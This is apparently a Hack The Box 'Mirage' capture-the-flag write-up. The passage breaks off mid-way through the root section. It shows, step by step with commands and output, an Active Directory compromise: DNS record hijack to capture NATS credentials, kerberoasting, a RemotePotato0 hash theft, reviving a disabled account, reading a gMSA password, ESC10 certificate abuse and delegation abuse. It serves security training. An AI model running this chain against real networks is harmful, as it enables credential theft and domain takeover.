22 November 2025

Mirage

by 0xW1LD

Mirage Token

Enumeration

Scans

As usual we start off with a port scan on our target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
PORT      STATE    SERVICE
53/tcp    open     domain
88/tcp    open     kerberos-sec
111/tcp   open     rpcbind
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
389/tcp   open     ldap
445/tcp   open     microsoft-ds
464/tcp   open     kpasswd5
593/tcp   open     http-rpc-epmap
636/tcp   open     ldapssl
2049/tcp  open     nfs
3268/tcp  open     globalcatLDAP
3269/tcp  open     globalcatLDAPssl
4222/tcp  open     vrml-multi-use
5985/tcp  open     wsman
9389/tcp  open     adws
28273/tcp filtered unknown
29148/tcp filtered unknown
44682/tcp filtered unknown
47001/tcp open     winrm
48001/tcp filtered nimspooler
49664/tcp open     unknown
49665/tcp open     unknown
49666/tcp open     unknown
49667/tcp open     unknown
49668/tcp open     unknown
51864/tcp open     unknown
54678/tcp filtered unknown
57730/tcp open     unknown
57737/tcp open     unknown
57738/tcp open     unknown
57753/tcp open     unknown
62330/tcp filtered unknown
62479/tcp open     unknown
62491/tcp open     unknown
62503/tcp open     unknown
64065/tcp filtered unknown

Several ports look interesting at first glance.

If we do a script and service scan on these ports we can find a lot of information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
389/tcp   open   ldap            syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA/domainComponent=mirage
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
| SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
2049/tcp  open   nlockmgr        syn-ack ttl 127 1-4 (RPC #100021)
4222/tcp  open   vrml-multi-use? syn-ack ttl 127
| fingerprint-strings: 
|   GenericLines: 
|     INFO {"server_id":"NCKL7L5SAJBY6GQBJI7KSKQFOGBAXFGUYFC4X3V2A7X54YFWXPIWNMBK","server_name":"NCKL7L5SAJBY6GQBJI7KSKQFOGBAXFGUYFC4X3V2A7X54YFWXPIWNMBK","version":"2.11.3","proto":1,"git_commit":"a82cfda","g
o":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":177,"client_ip":"10.10.14.158","xkey":"XDYIWPQGWEBBTECUEBE3P5ZSWGEXTCHNEDVBTFX32
O5A7KI7DG6QTYFT"} 
|     -ERR 'Authorization Violation'

We’re given the following information.

Foothold

NFS Files

Let’s first take a look at nfs shares.

1
2
3
showmount -e $DOMAIN  
Export list for mirage.htb:
/MirageReports (everyone)

We can see a MirageReports share available for everyone. Let’s mount it and take a look inside.

1
2
3
4
5
6
7
8
sudo mkdir /mnt/mirage
sudo mount -t nfs $DOMAIN:/MirageReports /mnt/mirage
ls -la /mnt/mirage 
total 17493
drwxrwxrwx+ 2 nobody nogroup      64 May 26 17:41 .
drwxr-xr-x  4 root   root       4096 Jul 19 20:46 ..
-rwx------+ 1 nobody nogroup 8530639 May 20 11:08 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------+ 1 nobody nogroup 9373389 May 26 17:37 Mirage_Authentication_Hardening_Report.pdf

We can find 2 pdf files, one incident report and another hardening report. Let’s copy them to our local system and change the permissions.

1
2
3
4
5
6
7
8
sudo cp /mnt/mirage/* .
sudo chmod 777 *
ls -la
total 17500
drwxrwxr-x  3 kali kali    4096 Jul 19 20:50 .
drwxrwxr-x 17 kali kali    4096 Jul 19 20:35 ..
-rwxrwxrwx  1 root root 8530639 Jul 19 20:50 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwxrwxrwx  1 root root 9373389 Jul 19 20:51 Mirage_Authentication_Hardening_Report.pdf

Let’s first take a look at the Incident Report Missing DNS Record nats-svc

On May 3, 2025, the Development team repoted they were unable to resolve the hostname nats-svc.mirage.htb. This hostname is citical for intenal sevice communication with the NATS messaging system hosted on the Mirage domain.

Another interesting finding in this report is that Dynamic Updates for the mirage.htb zone is set to Nonsecure and secure which means that we should be able to make dns changes without any authentication.

Next let’s take a look at Mirage Authentication Hardening Report

This report outlines the phased deprecation of NTLM authentication within the Mirage Active Directoy environment. NTLM is a legacy authentication protocol that lacks moden secuity features and is vulnerable to several attacks, including credential relaying and pass-the-hash. To align with curent secuity best practices, Mirage is moving toward a Kerberos-only authentication model. The transition is designed to be gradual and well-monitored to avoid sevice disuption and ensure all systems are compliant.

NATS Access

So here I’m thinking we can run a nats server and then add our record to the nats-server.

1
2
echo 'INFO {"server_id":"NCKL7L5SAJBY6GQBJI7KSKQFOGBAXFGUYFC4X3V2A7X54YFWXPIWNMBK","server_name":"NCKL7L5SAJBY6GQBJI7KSKQFOGBAXFGUYFC4X3V2A7X54YFWXPIWNMBK","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":280,"client_ip":"10.129.14.92","xkey":"XDYIWPQGWEBBTECUEBE3P5ZSWGEXTCHNEDVBTFX32O5A7KI7DG6QTYFT"}' | nc -lvnp 4222
listening on [any] 4222 ...

I wasn’t able to get a call back on nats-server but I was able to when I impersonated a nats-server using nc which is what I’m doing here.

Next let’s add a record for nats-svc.mirage.htb that points to our nats-server.

1
2
3
4
5
6
nsupdate
> server mirage.htb
> zone mirage.htb      
> update add nats-svc.mirage.htb 3600 A 10.10.14.158
> send
> quit

Later on we get a callback on our nats-server impersonation instance.

1
2
CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"[REDACTED]","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":true,"no_responders":true}
PING

We get a set of credentials! Dev_Account_A:[REDACTED]

AD Access

Attempting to use these against the AD environment doesn’t grant authentication. Since these were credentials we got from nats let’s try and authenticate through that. NATSCLI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
nats account info -s nats://$TARGET:4222 --user $USER --password $PASS
Account Information

                           User: Dev_Account_A
                        Account: dev
                        Expires: never
                      Client ID: 304
                      Client IP: 10.10.14.158
                            RTT: 290ms
              Headers Supported: true
                Maximum Payload: 1.0 MiB
                  Connected URL: nats://10.129.14.92:4222
              Connected Address: 10.129.14.92:4222
            Connected Server ID: NCKL7L5SAJBY6GQBJI7KSKQFOGBAXFGUYFC4X3V2A7X54YFWXPIWNMBK
       Connected Server Version: 2.11.3
                 TLS Connection: no

JetStream Account Information:

Account Usage:

                        Storage: 570 B
                         Memory: 0 B
                        Streams: 1
                      Consumers: 0

Account Limits:

            Max Message Payload: 1.0 MiB

  Tier: Default:

      Configuration Requirements:

        Stream Requires Max Bytes Set: false
         Consumer Maximum Ack Pending: Unlimited

      Stream Resource Usage Limits:

                               Memory: 0 B of Unlimited 
                    Memory Per Stream: Unlimited
                              Storage: 570 B of Unlimited (1.0 MiB reserved)
                   Storage Per Stream: Unlimited
                              Streams: 1 of Unlimited
                            Consumers: 0 of Unlimited

Let’s take a look at our streams.

1
2
3
4
5
6
7
8
nats stream ls -s nats://$TARGET:4222 --user $USER --password $PASS
╭─────────────────────────────────────────────────────────────────────────────────╮
│                                     Streams                                     │
├───────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name      │ Description │ Created             │ Messages │ Size  │ Last Message │
├───────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ auth_logs │             │ 2025-05-05 03:18:19 │ 5        │ 570 B │ 75d1h57m50s  │
╰───────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────

Looks like we have a stream of auth_logs which is very interesting. Let’s create a consumer for this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
nats consumer add -s nats://$TARGET:4222 --user $USER --password $PASS 
? Select a Stream auth_logs
? Consumer name w1ld
? Delivery target (empty for Pull Consumers) 
? Start policy (all, new, last, subject, 1h, msg sequence) all
? Acknowledgment policy none
? Replay policy instant
? Filter Stream by subjects (blank for all) 
? Deliver headers only without bodies No
Information for Consumer auth_logs > w1ld created 2025-07-19 05:18:55

Configuration:

                    Name: w1ld
               Pull Mode: true
          Deliver Policy: All
              Ack Policy: None
           Replay Policy: Instant
       Max Waiting Pulls: 512

State:

            Host Version: 2.11.3
      Required API Level: 0 hosted at level 1
  Last Delivered Message: Consumer sequence: 0 Stream sequence: 0
    Unprocessed Messages: 5
           Waiting Pulls: 0 of maximum 512

Now let’s connect to this consumer and look at the next message.

1
2
3
4
5
6
nats consumer next auth_logs w1ld -s nats://$TARGET:4222 --user $USER --password $PASS
[22:20:04] subj: logs.auth / tries: 1 / cons seq: 1 / str seq: 1 / pending: 4

{"user":"david.jjackson","password":"[REDACTED]","ip":"10.10.10.20"}

Acknowledged message

Success! We have a new set of credentials! david.jjackson:[REDACTED]

A simpler method exists which @opcode pointed out to me, instead of creating a consumer for the stream you can simply view the stream using the following command: nats stream view -s nats://$TARGET:4222 --user $USER --password $PASS

Let’s check if we’re able to authenticate to AD through ldap.

1
2
3
nxc ldap $DC -u $USER -p $PASS -k
LDAP        dc01.mirage.htb 389    DC01             [*] None (name:DC01) (domain:mirage.htb)
LDAP        dc01.mirage.htb 389    DC01             [+] mirage.htb\david.jjackson:[REDACTED]

Success! We have a foothold authentication into the domain!

User

Nathan.Aadam

Let’s create a path forward. I first want to set Remote Management Users as our target as it allows us a shell on the box. Let’s start enumeration. Let’s look at members of the group.

1
2
3
4
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get object "Remote Management Users" --attr member

distinguishedName: CN=Remote Management Users,CN=Builtin,DC=mirage,DC=htb
member: CN=IT_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb

Seeing as it’s another group let’s take a look at its members as well.

1
2
3
4
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get object "IT_Admins" --attr member

distinguishedName: CN=IT_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb
member: CN=nathan.aadam,OU=Users,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb

Our target is nathan.aadam. Taking a deep look at the object we can find that he has a servicePrincipalName

1
2
3
4
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get object "nathan.aadam" --resolve-sd
<SNIP>
servicePrincipalName: HTTP/exchange.mirage.htb
</SNIP>

Let’s attempt to kerberoast him since this is the case.

1
2
3
4
5
6
7
nxc ldap $DC -u $USER -p $PASS -k --kerberoasting kerberoast.txt
LDAP        dc01.mirage.htb 389    DC01             [*] None (name:DC01) (domain:mirage.htb)
LDAP        dc01.mirage.htb 389    DC01             [+] mirage.htb\david.jjackson:[REDACTED] 
LDAP        dc01.mirage.htb 389    DC01             [*] Skipping disabled account: krbtgt
LDAP        dc01.mirage.htb 389    DC01             [*] Total of records returned 1
LDAP        dc01.mirage.htb 389    DC01             [*] sAMAccountName: nathan.aadam, memberOf: ['CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb', 'CN=IT_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb'], pwdLastSet: 2025-06-23 17:18:18.584667, lastLogon: 2025-07-04 16:01:43.511763
LDAP        dc01.mirage.htb 389    DC01             $krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$52206e9ab6d4bac636f8bd27c7b2b00e$1bc264e3b05f420f453700a9f9661809e47b6cd261edf89b570b01384[REDACTED]

We got a hash! Let’s crack it with hashcat.

1
2
3
hashcat -a 0 kerberoast.txt /usr/share/wordlists/rockyou.txt
<SNIP>
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$52206e9ab6d4bac636f8bd27c7b2b00e$1bc264e3b05f420f453700a9f9661809e[REDACTED]:[REDACTED]

We got a hit! We have successfully retrieved another set of credentials! nathan.aadam:[REDACTED]

Let’s authenticate via Kerberos and evil-winrm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
echo $PASS | kinit $USER                  
Password for nathan.aadam@MIRAGE.HTB:
evil-winrm -i $DC -r $DOMAIN
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents>ls ../Desktop


    Directory: C:\Users\nathan.aadam\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          7/4/2025   1:01 PM           2312 Microsoft Edge.lnk
-ar---         7/18/2025   9:47 PM             34 user.txt

Just like that, we have User!

Root

Mark.Bbond - Unintended

Taking a look around the registry we can find interesting values in WinLogon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"


AutoRestartShell             : 1
Background                   : 0 0 0
CachedLogonsCount            : 10
DebugServerCommand           : no
DefaultDomainName            : MIRAGE
DefaultUserName              : mark.bbond
DisableBackButton            : 1
EnableSIHostIntegration      : 1
ForceUnlockLogon             : 0
LegalNoticeCaption           :
LegalNoticeText              :
PasswordExpiryWarning        : 5
PowerdownAfterShutdown       : 0
PreCreateKnownFolders        : {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk                 : 1
Shell                        : explorer.exe
ShellAppRuntime              : ShellAppRuntime.exe
ShellCritical                : 0
ShellInfrastructure          : sihost.exe
SiHostCritical               : 0
SiHostReadyTimeOut           : 0
SiHostRestartCountLimit      : 0
SiHostRestartTimeGap         : 0
Userinit                     : C:\Windows\system32\userinit.exe,
VMApplet                     : SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled          : 0
scremoveoption               : 0
DisableCAD                   : 1
LastLogOffEndTimePerfCounter : 1448474007
ShutdownFlags                : 2147484203
DisableLockWorkstation       : 0
AutoAdminLogon               : 1
AutoLogonSID                 : S-1-5-21-2127163471-3824721834-2568365109-1109
LastUsedUsername             : mark.bbond
DefaultPassword              : [REDACTED]
PSPath                       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
PSParentPath                 : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
PSChildName                  : Winlogon
PSDrive                      : HKLM
PSProvider                   : Microsoft.PowerShell.Core\Registry

The above method was patched on 31/07/2025 and thus no longer shows the Default Password Field as seen from the output below.

Patched output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
AutoRestartShell             : 1
Background                   : 0 0 0
CachedLogonsCount            : 10
DebugServerCommand           : no
DefaultDomainName            : MIRAGE
DefaultUserName              : mark.bbond
DisableBackButton            : 1
EnableSIHostIntegration      : 1
ForceUnlockLogon             : 0
LegalNoticeCaption           :
LegalNoticeText              :
PasswordExpiryWarning        : 5
PowerdownAfterShutdown       : 0
PreCreateKnownFolders        : {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk                 : 1
Shell                        : explorer.exe
ShellAppRuntime              : ShellAppRuntime.exe
ShellCritical                : 0
ShellInfrastructure          : sihost.exe
SiHostCritical               : 0
SiHostReadyTimeOut           : 0
SiHostRestartCountLimit      : 0
SiHostRestartTimeGap         : 0
Userinit                     : C:\Windows\system32\userinit.exe,
VMApplet                     : SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled          : 0
scremoveoption               : 0
DisableCAD                   : 1
LastLogOffEndTimePerfCounter : 3422193643
ShutdownFlags                : 19
DisableLockWorkstation       : 0
AutoAdminLogon               : 1
AutoLogonSID                 : S-1-5-21-2127163471-3824721834-2568365109-1109
LastUsedUsername             : mark.bbond
PSPath                       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
PSParentPath                 : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
PSChildName                  : Winlogon
PSDrive                      : HKLM
PSProvider                   : Microsoft.PowerShell.Core\Registry

Mark.bbond - Intended

The day after the box released and my team had solved it, one of the box creators revealed that the auto logon credentials were meant to be encrypted. This means that we were not meant to find them here. Instead the intended path is for us to find another active session and continue from there.

I will use runasCS.exe as the command qwinsta requires NT AUTHORITY\INTERACTIVE permissions and not just NT AUTHORITY\NETWORK which is what most shells provide, thank you @opcode again for providing me with this information and @mael91620 for showing me this method.

1
2
3
4
5
6
*Evil-WinRM* PS C:\w1ld> ./RunasCs.exe nathan.aadam [REDACTED] "qwinsta *"
[*] Warning: The logon for user 'nathan.aadam' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
>services                                    0  Disc
 console           mark.bbond                1  Active

We can find the active session of mark.bbond, let’s attempt to hijack this session by forcing an authentication through RemotePotato0. We can’t catch the authentication remotely due to NTLM being disabled so let’s do it locally.

RemotePotato0 is a local privilege escalation exploit that creates a COM object and requests a service/session to authenticate to it which allows us to redirect the authentication and view the NTLM hash through RPC relay.

Firstly let’s start a network redirector on our machine.

1
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:$TARGET:9999

Next, let’s run RoguePotato0 on the target machine using the session id we found and the Rpc Capture hash server module.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
*Evil-WinRM* PS C:\w1ld> .\RemotePotato0.exe -m 2 -s 1 -x 10.10.14.158
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on (null) to your victim machine on port 9999
[*] Example Network redirector:
        sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::9999
[*] Starting the RPC server to capture the credentials hash from the user authentication!!
[*] RPC relay server listening on port 9997 ...
[*] Spawning COM object in the session: 1
[*] Calling StandardGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ...
[*] IStoragetrigger written: 106 bytes
[*] ServerAlive2 RPC Call
[*] ResolveOxid2 RPC call
[+] Received the relayed authentication on the RPC relay server on port 9997
[*] Connected to RPC Server 127.0.0.1 on port 9999
[+] User hash stolen!

NTLMv2 Client   : DC01
NTLMv2 Username : MIRAGE\mark.bbond
NTLMv2 Hash     : mark.bbond::MIRAGE:0f425a4bb67be4b8:086071de03c563c27723c7a99bee2c15:010100[REDACTED]

Success we grabbed a hash! let’s toss this into hashcat!

1
2
3
hashcat -a 0 mark.pem /usr/share/wordlists/rockyou.txt
<SNIP>
MARK.BBOND::MIRAGE:0f425a4bb67be4b8:086071de03c563c27723c7a99bee2c15:01010[REDACTED]:[REDACTED]

We can see that we have recovered the following credentials for both methods. mark.bbond:[REDACTED]

Success! We’re able to authenticate as mark.bbond!

1
2
3
nxc smb $DC -u $USER -p $PASS -k        
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [+] mirage.htb\mark.bbond:[REDACTED]

Javier.Mmarshall

Taking a further look around we can see that we have WRITE access on javier.mmarshall,

1
2
3
4
5
6
7
8
9
10
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
permission: WRITE

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
permission: WRITE

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
permission: WRITE

Specifically, UAC

1
2
3
distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
logonHours: WRITE                   
userAccountControl: WRITE 

We can see that javier.mmarshall’s UAC attribute is set so that his account is disabled.

1
2
3
4
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get object "javier.mmarshall" --attr userAccountControl

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

So let’s remove this property.

1
2
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k remove uac javier.mmarshall -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshalls userAccountControl

We can also notice that logonHours are set so let’s remove them

1
2
3
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k set object "javier.mmarshall" logonHours
[!] Attribute encoding not supported for logonHours with bytes attribute type, using raw mode                         
[+] javier.mmarshalls logonHours has been updated 

You’ll need the most up to date version of bloodyAD for this to work, to install the most up to date version use pipx install bloodyAD

Let’s now change his password.

1
2
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k set password javier.mmarshall W1ldP@ss  
[+] Password changed successfully!

Success! We’re able to authenticate as javier.mmarshall

1
2
3
nxc smb $DC -u $USER -p $PASS -k        
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [+] mirage.htb\javier.mmarshall:W1ldP@ss 

Mirage-Service$

Taking a look around we can find the MIRAGE-SERVICE$ computer

1
2
3
4
5
6
nxc ldap $DC -u $USER -p $PASS -k --computers
LDAP        DC01.mirage.htb 389    DC01             [*] None (name:DC01) (domain:mirage.htb)
LDAP        DC01.mirage.htb 389    DC01             [+] mirage.htb\mark.bbond:[REDACTED] 
LDAP        DC01.mirage.htb 389    DC01             [*] Total records returned: 2
LDAP        DC01.mirage.htb 389    DC01             DC01$
LDAP        DC01.mirage.htb 389    DC01             Mirage-Service$

If we take a look at it we can see that Javier.mmarshall can read its GMSA

1
2
3
4
5
6
7
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get object "Mirage-Service$"
<SNIP>
msDS-GroupMSAMembership.ACL.Type: == ALLOWED ==
msDS-GroupMSAMembership.ACL.Trustee: javier.mmarshall
msDS-GroupMSAMembership.ACL.Right: GENERIC_ALL
msDS-GroupMSAMembership.ACL.ObjectType: Self
</SNIP>

Let’s read the GMSA password using Javier.mmarshall

1
2
3
4
5
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get search --filter '(ObjectClass=msDS-GroupManagedServiceAccount)' --attr msDS-ManagedPassword    

distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:[REDACTED]
msDS-ManagedPassword.B64ENCODED: 43A01mr7V2LGukxowctrHCsLubtNUHxw2zYf7l0REqmep3mfMpizCXlvhv0n8SFG/WKSApJsujGp2+unu/xA6F2fLD4H5Oji/mVHYkkf+iwXjf6Z9TbzVkLGELgt/k2PI4rIz600cfYmFq99AN8ZJ9VZQEqRcmQoaRqi51nSfaNRuOVR79CGl/QQcOJv8eV11UgfjwPtx3lHp1cXHIy4UBQu9O0O5W0Qft82GuB3/M7dTM/YiOxkObGdzWweR2k/J+xvj8dsio9QfPb9QxOE18n/ssnlSxEI8BhE7fBliyLGN7x/pw7lqD/dJNzJqZEmBLLVRUbhprzmG29yNSSjog==

Success! We have recovered another set of credentials Mirage-Service:[REDACTED]

DC01$

Looking around we have write access on mark.bbond, which doesn’t really matter as we have already owned him but it does serve as a hint.

1
2
3
4
5
6
7
8
9
10
11
12
13
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get writable                

distinguishedName: CN=TPM Devices,DC=mirage,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
permission: WRITE

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
permission: WRITE

distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
permission: WRITE

Doing some enumeration for ESC vulnerabilities, we can find that ADCS is vulnerable to ESC10

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\"


EventLogging              : 1
CertificateMappingMethods : 4
PSPath                    : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\
PSParentPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders
PSChildName               : SCHANNEL
PSDrive                   : HKLM
PSProvider                : Microsoft.PowerShell.Core\Registry

Notice the 4 value in the CertificateMappingMethods property which indicates it is vulnerable as per CERTIPY-AD Documentation

Let’s exploit this, first let’s update Mark.bbond’s upn.

1
2
3
4
5
6
certipy-ad account  -u $USER@$DOMAIN -hashes $HASH -k -target $DC -dc-ip $TARGET -upn 'dc01$@mirage.htb' -user mark.bbond update
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Updating user 'mark.bbond':
    userPrincipalName                   : dc01$@mirage.htb
[*] Successfully updated 'mark.bbond'

Secondly let’s authenticate as mark.bbond and request a certificate.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
echo $PASS | kinit $USER
Password for mark.bbond@MIRAGE.HTB:
export KRB5CCNAME=/tmp/krb5cc_1000
certipy-ad req -k -dc-ip $TARGET -target $DC -ca "Mirage-DC01-CA" -template User                                                                                
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 14
[*] Successfully requested certificate
[*] Got certificate with UPN 'dc01$@mirage.htb'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx

Now let’s revert mark’s UPN, remember to authenticate as MIRAGE-SERVICE$ before doing so.

1
2
3
4
5
6
certipy-ad account  -u $USER@$DOMAIN -hashes $HASH -k -target $DC -dc-ip $TARGET -upn 'mark.bbond@mirage.htb' -user mark.bbond update
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Updating user 'mark.bbond':
    userPrincipalName                   : mark.bbond@mirage.htb
[*] Successfully updated 'mark.bbond'

Let’s authenticate as the DC and connect to an ldap shell

1
2
3
4
5
6
7
8
9
10
11
12
certipy-ad auth -pfx dc01.pfx -dc-ip $TARGET -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'dc01$@mirage.htb'
[*]     Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.14.92:636'
[*] Authenticated to '10.129.14.92' as: 'u:MIRAGE\\DC01$'
Type help for list of commands

# whoami
u:MIRAGE\DC01$

Success! We have the DC01$ ldap access, let’s allow our machine account to RBCD

1
2
3
4
5
6
7
8
# set_rbcd dc01$ mirage-service$
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000

Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
mirage-service$ can now impersonate users on dc01$ via S4U2Proxy

Let’s grab a new TGT

1
2
3
4
5
6
getTGT.py "$DOMAIN/$USER" -hashes :$HASH
/home/kali/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in Mirage-Service.ccache

Now let’s grab a Service Ticket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
getST.py -spn HOST/'dc01.mirage.htb' -impersonate 'dc01$' -k -no-pass $DOMAIN/$USER
